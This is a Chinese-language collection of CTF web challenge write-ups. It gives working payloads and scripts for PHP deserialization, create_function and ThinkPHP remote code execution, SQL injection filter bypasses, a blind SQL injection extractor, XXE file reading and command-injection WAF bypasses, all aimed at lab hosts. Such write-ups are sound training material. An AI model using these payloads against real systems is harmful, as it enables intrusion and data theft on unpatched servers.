1 ?pks=O%3A3%3A"acp" %3A3%3A%7Bs%3A9%3A"%00%2A%00cinder" %3BO%3A3%3A"ace" %3A3%3A%7Bs%3A8%3A"filename" %3Bs%3A8%3A"flag.php" %3Bs%3A9%3A"openstack" %3BN%3Bs%3A6%3A"docker" %3BN%3B%7Ds%3A7%3A"neutron" %3BN%3Bs%3A4%3A"nova" %3BN%3B%7D
看到了真的flag文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); include 'flag.php' ;class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } }class ace { public $filename='../nssctfasdasdflag' ; public $openstack; public $docker; } $ace= new ace(); $ace->filename; $ace->docker = null; $acp= new acp(); echo urlencode(serialize($acp));
payload
1 ?pks=O%3A3%3A"acp" %3A3%3A%7Bs%3A9%3A"%00%2A%00cinder" %3BO%3A3%3A"ace" %3A3%3A%7Bs%3A8%3A"filename" %3Bs%3A19%3A"..%2Fnssctfasdasdflag" %3Bs%3A9%3A"openstack" %3BN%3Bs%3A6%3A"docker" %3BN%3B%7Ds%3A7%3A"neutron" %3BN%3Bs%3A4%3A"nova" %3BN%3B%7D
[CISCN 2023 华北]ez_date 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } }unserialize (base64_decode ($_GET ['code' ]));
wakeup禁用了数组,MD5比较就不能用数组模糊绕过了
正则表达式
开头的“/”和i前的“\”表示正则表达式语法的开始和结束
(\s)* :匹配零个或多个空白字符(空格、制表符等)
(\n)+ :匹配一个或多个换行符
(\s)* :再次匹配零个或多个空白字符
i :修饰符,表示不区分大小写
正则表达式会将上述空白字符和换行符都替换为空字符串
file_get_contents($data)是利用点用来读取文件的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; }$date =new date ();$date ->a=1 ;$date ->b='1' ;$date ->file='/f\l\a\g' ;echo base64_encode (serialize ($date ));
payload
1 ?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9
[MoeCTF 2022]ezhtml
访问这个js目录
[NSSRound#16 Basic]了解过PHP特性吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );include ("rce.php" );$checker_1 = FALSE ;$checker_2 = FALSE ;$checker_3 = FALSE ;$checker_4 = FALSE ;$num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); }if (intval ($num )) { $checker_1 = TRUE ; }if (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; } }$_114 = $_GET ['114' ];$_514 = $_POST ['514' ];if (isset ($_114 ) && intval ($_114 ) > 114514 && strlen ($_114 ) <= 3 ) { if (!is_numeric ($_514 ) && $_514 > 9999999 ) { $checker_3 = TRUE ; } }$arr4y = $_POST ['arr4y' ];if (is_array ($arr4y )) { for ($i = 0 ; $i < count ($arr4y ); $i ++) { if ($arr4y [$i ] === "NSS" ) { die ("no!" ); } $arr4y [$i ] = intval ($arr4y [$i ]); } if (array_search ("NSS" , $arr4y ) === 0 ) { $checker_4 = TRUE ; } }if ($checker_1 && $checker_2 && $checker_3 && $checker_4 ) { echo $rce ; }
看着就很头大,没办法一关关看吧
1 2 3 4 5 6 7 $num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); }if (intval ($num )) { $checker_1 = TRUE ; }
intval检测整数但num参数又不能含有数字,就用一个非空数组绕过
payload
1 2 3 4 5 6 7 ?num[1 ]=a&num[2 ]=bif (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; }
MD5绕过
payload
1 ctype=QNKCDZO&is_num=s878926199a
intval 绕过且长度限制,is_numeric 绕过
payload
1 2 3 4 get传参 114=1e8 POST 514=999999999a
array_search 绕过
array_search()函数在数组中搜索某个键值,并返回对应的键名
payload
源码
1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );$nss =$_POST ['nss' ];$shell = $_POST ['shell' ];if (isset ($shell )&& isset ($nss )){ $nss_shell = create_function ($shell ,$nss ); }
create_function的注入
payload
1 nss=return;}system('cat /flag');/*&shell=
[SWPUCTF 2022 新生赛]ez_sql(关键字绕过)
根据题目提示是sql参数是nss,先尝试get传参
被警告了说要用相对安全的传参方式,OK这里积累了一个小知识点就是POST传参比GET传参相对安全
nss=1
???就出了?好吧不是两个都是假的
开始SQL注入吧
nss=1’
出现报错说明存在SQL注入
报错解析: 这个报错的核心是 SQL 语句存在语法格式错误
关键错误片段’’1’’, 这个写法是重复单引号导致的语法畸形
nss=1’ order by 2 – +
报错解析:SQL 语法错误,核心原因是你的注入语句末尾的–+没有被正确解析,导致 MariaDB 把+后面的内容(或者–+本身)当成了 SQL 语句的一部分,最终触发语法校验失败
或者很有可能是被过滤
先尝试用/**/过滤空格
nss=1’//order/ /by/**/3–+
报错分析:看到der//by/ /3+ 发现or也被过滤了
用||尝试绕过or
nss=1’//||der/ /by/**/3–+
依旧报错
报错解析:’by/**/3+’,||好像不行&&试了也不行
nss=-1’//oorrder/ /by/**/3#
就想到用双写绕过测列数,3的时候正常回显
nss=-1’//oorrder/ /by/**/4#
4的时候报错,说明列数为3,因为列数相同满足联合注入
nss=-2’//ununionion/ /select/**/1,2,3#
测试回显位
nss=-2’//ununionion/ /select/**/1,2,database()#
测试数据库名称
nss=-2’//ununionion/ /select//1,2,group_concat(table_name)/ /from//infoorrmation_schema.tables/ /where/**/table_schema=’NSS_db’#
测试表名
nss=-2’//ununionion/ /select//1,2,group_concat(id,Secr3t,flll444g)/ /from/**/NSS_tb#
NSS_tb:表名,从表中查看字段
分析代码就能知道,在路由/ghctf中,以POST的方式传入参数xml,关键点在于解析XML的部分。这里使用了lxml库的etree模块,创建了一个XML解析器parser,参数是load_dtd=True和resolve_entities=True。这两个参数可能开启外部实体解析,导致XXE漏洞。
并且没有过滤
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests TARGET_URL = "http://node1.anna.nssctf.cn:24380/ghctf" FILE_TO_READ = "/flag" malicious_xml = f'''<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{FILE_TO_READ} "> ]> <root> <name>&xxe;</name> </root>''' try : response = requests.post( TARGET_URL, data={'xml' : malicious_xml}, timeout=10 ) if response.status_code == 200 : print ("[+] 攻击成功!响应内容:" ) print (response.text) else : print (f"[-] 请求失败,状态码:{response.status_code} " )except Exception as e: print (f"[-] 发生错误:{str (e)} " )
[WUSTCTF 2020]颜值成绩查询
看到是布尔盲注,就想到应该是要利用脚本攻击了:(
只能找wp了(不知道sqlmap能不能做出来,没试过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 import requestsimport timedef get_db_info (strings, url, success ): db_length = 1 now_db_length = 1 while db_length > 0 : get_db_url = url + '/**/and/**/length(database())=' + str (db_length) + '#' result = requests.get(get_db_url).content.decode('utf-8' ) if success in result: print ('数据库长度为:' + str (db_length)) break db_length = db_length + 1 db_name = '' while now_db_length < db_length + 1 : for one_char in strings: get_db_url = url + '/**/and/**/substr(database(),' + str (now_db_length) + ',1)=%27' + one_char + '%27#' result = requests.get(get_db_url).content.decode('utf-8' ) if success in result: db_name = db_name + one_char break now_db_length = now_db_length + 1 print ("\r" , end="" ) print ('数据库名字为:' + db_name, end='' ) return db_namedef get_table_info (strings, url, success, db_name ): table_names = [] table_num = 0 while table_num >= 0 : get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( table_num) + ',1))>0--+' result = requests.get(get_table_url).content.decode('utf-8' ) if success in result: table_num = table_num + 1 else : break print ('数据库内表的数量为:' + str (table_num)) now_table_num = 0 while now_table_num < table_num: length = 1 while length > 0 : get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( now_table_num) + ',1))=' + str (length) + '--+' result = requests.get(get_table_url).content.decode('utf-8' ) if success in result: break length = length + 1 now_length = 1 table_name = '' while now_length < length + 1 : for one_char in strings: get_table_url = url + '/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( now_table_num) + ',1),' + str (now_length) + ',1)=%27' + one_char + '%27--+' result = requests.get(get_table_url).content.decode('utf-8' ) time.sleep(0.1 ) if success in result: table_name = table_name + one_char print ("\r" , end="" ) print ('表' + str (now_table_num + 1 ) + '名字为:' + table_name, end='' ) break now_length = now_length + 1 print ('' ) table_names.append(table_name) now_table_num = now_table_num + 1 return table_namesdef get_column_info (strings, url, success, db_name, table_names ): for i in range (0 , len (table_names)): column_names = [] column_num = 0 while column_num >= 0 : get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (column_num) + ',1))>0--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: column_num = column_num + 1 else : print (str (table_names[i]) + '表的列数量为:' + str (column_num)) for now_column_num in range (0 , column_num): length = 1 while length >= 0 : get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (now_column_num) + ',1))=' + str (length) + '--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: now_length = 1 column_name = '' while now_length < length + 1 : for one_char in strings: get_column_url = url + '/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (now_column_num) + ',1),' + str ( now_length) + ',1)=%27' + str (one_char) + '%27--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: column_name = column_name + str (one_char) now_length = now_length + 1 print ("\r" , end="" ) print ('第' + str (now_column_num + 1 ) + '列的名称为:' + column_name, end='' ) break column_names.append(column_name) print ('' ) break else : length = length + 1 break get_data(strings, url, success, db_name, table_names[i], column_names)def get_data (strings, url, success, db_name, table_names, column_names ): print ('开始获取表内数据------------------------------------------' ) for k in range (0 , len (column_names)): row = 0 while row >= 0 : get_data_url = url + '/**/and/**/length((select/**/' + str (column_names[k]) + '/**/from/**/' + str ( table_names) + '/**/limit/**/' + str (row) + ',1))>0--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: row = row + 1 length = 0 while length >= 0 : get_data_url = url + '/**/and/**/length((select/**/' + str ( column_names[k]) + '/**/from/**/' + str (table_names) + '/**/limit/**/' + str ( row - 1 ) + ',1))=' + str (length) + '--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: break else : length = length + 1 now_length = 1 data = '' while now_length < length + 1 : for one_char in strings: get_data_url = url + '/**/and/**/substr((select/**/' + str ( column_names[k]) + '/**/from/**/' + str (table_names) + '/**/limit/**/' + str ( row - 1 ) + ',1),' + str (now_length) + ',1)=%27' + str (one_char) + '%27--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: data = data + one_char print ("\r" , end="" ) print (column_names[k] + '列的第' + str (row) + '行数据为:' + data, end='' ) break now_length = now_length + 1 else : break print ('' )if __name__ == '__main__' : strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~' url = 'http://node5.anna.nssctf.cn:24394/?stunum=1' success = 'your score is: 100' print ('可以获取数据库内全部表的信息,但获取当前表的值需要修改success值' ) print ('失败结果是一致的,可以修改为success为失败的值,则可以获取当前表数据' ) print ('开始获取数据库信息---------------------------------------' ) db_name = get_db_info(strings, url, success) print ('\n开始获取数据库内表信息------------------------------------' ) table_names = get_table_info(strings, url, success, db_name) print ('开始获取表结构信息-----------------------------------------' ) get_column_info(strings, url, success, db_name, table_names) print ('获取表数据信息结束-----------------------------------------' )
[广东强网杯 2021 团队组]love_Pokemon 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; } }function ghostpokemon ($Pokemon ) { if (is_array ($Pokemon )){ foreach ($Pokemon as $key => $pks ) { $Pokemon [$key ] = DefenderBonus ($pks ); } } else { $Pokemon = DefenderBonus ($Pokemon ); } }switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); } break ; case 'squirtle' : echo md5 ('jienijieni!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'mewtwo' : $dream = $_POST ["dream" ] ?? "" ; if (strlen ($dream )>=20 ){ die ("So Big Pokenmon!" ); } ghostpokemon ($dream ); echo shell_exec ($dream ); }?>
看到了shell_exec($dream)利用点,里面还有一个hint
先拿到hint
1 2 3 4 5 6 7 8 9 10 switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); }
需要参数myfavorite的值等于bulbasaur!
同时要满足levelup不包含lv100, 但经过escapeshellarg()函数处理后,又需要包含 lv100
这里需要escapeshellarg()函数的绕过
escapeshellarg() 函数在处理超过 ASCII 码范围的字符的时候会直接过滤掉该字符串
可以利用上述bug绕过该函数
payload
1 myfavorite=bulbasaur!&levelup=lv%80100
这里我们就得到了flag的位置,我们就利用shell_exec()读取flag
之前先要绕过waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; }
这个waf直接过滤了字母a、l之类的,那cat、nl、less、more都不能用,这里就需要用到其他读取文件的命令od,还过滤了空格和FLAG
payload
1 myfavorite=mewtwo&dream=od%09 /F[G-O][@-B]G
得到flag的八进制表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 dump = "" "0000000 051516 041523 043124 033173 032070 063060 033071 026464 0000020 034065 031462 032055 030460 026466 032141 031070 031055 0000040 060470 031466 063142 033060 062065 076471 000012 0000055 " "" dump = dump.replace ("\n" , " " ) octs = [("0o" + n) for n in dump.split (" " ) if n] hexs = [int (n, 8 ) for n in octs] result = "" for n in hexs: if (len (hex (n)) > 4 ): swapped = hex (((n << 8 ) | (n >> 8 )) & 0xFFFF ) result += swapped[2 :].zfill (4 )print (bytes.fromhex (result).decode ())
[SWPUCTF 2022 新生赛]ez_rce 扫描发现了爬虫
在网上搜到了可执行的POC
payload
1 ?s=index/\think\app/invokefunction&function =call_user_func_array &vars [0]=system &vars [1][]=ls +/
他的flag不在最开始的flag文件里,而是在nss/ctf/flag目录下
payload
1 ?s=index/\think\app/invokefunction&function =call_user_func_array &vars [0]=system &vars [1][]=cat +/nss /ctf /flag /flag
[GWCTF 2019]你的名字 SSTI貌似有很多waf,利用焚靖绕过
[羊城杯 2020]Blackcat
有一个音频但是点不开,先看看源码
看到了这个音频文件点点看
上面全是乱码但在最下面居然有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (empty ($_POST ['Black-Cat-Sheriff' ]) || empty ($_POST ['One-ear' ])){ die ('谁!竟敢踩我一只耳的尾巴!' ); }$clandestine = getenv ("clandestine" );if (isset ($_POST ['White-cat-monitor' ])) $clandestine = hash_hmac ('sha256' , $_POST ['White-cat-monitor' ], $clandestine );$hh = hash_hmac ('sha256' , $_POST ['One-ear' ], $clandestine );if ($hh !== $_POST ['Black-Cat-Sheriff' ]){ die ('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。' ); }echo exec ("nc" .$_POST ['One-ear' ]);
这里有一个hash_hmac()函数
hash_hmac($algo, $data, $key)
当传入的 $data为数组时,加密得到的固定结果就是null
所以给White-cat-monitor赋值为一个数组
这样$clandestine = hash_hmac(‘sha256’, $_POST[‘White-cat-monitor’], $clandestine);的值就为null
1 exec ("nc" .$_POST ['One-ear' ])
执行这个拼接的命令但想到nc是用来连接的,由于exec只返回命令执行结果的最后一行内容,为了不干扰后续的命令执行先给One-ear赋值分号再加上后续的命令
需要让Black-Cat-Sheriff的值等于$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], $clandestine);就要运行一下看看$hh的结果
1 2 3 <?php var_dump (hash_hmac ('sha256' , ';env' , null ));?>
payload
1 White-cat -monitor[]=1&One -ear=;env&Black-Cat -Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
发现flag不在环境变量里,之前试了ls都没有找到
看了眼信息发现一直忽略了是在Windows环境下
那查看目录下文件的命令就是dir
1 2 3 <?php var_dump (hash_hmac ('sha256' , ';dir' , null ));?>
payload
1 White-cat -monitor[]=1&One -ear=;dir &Black-Cat -Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395
payload
1 White-cat-monitor[]=1&One-ear =;more f*&Black-Cat-Sheriff =1f61c14baad48fa2946c106e7224a54311ed4936ad229e3763ccceffe59b1a76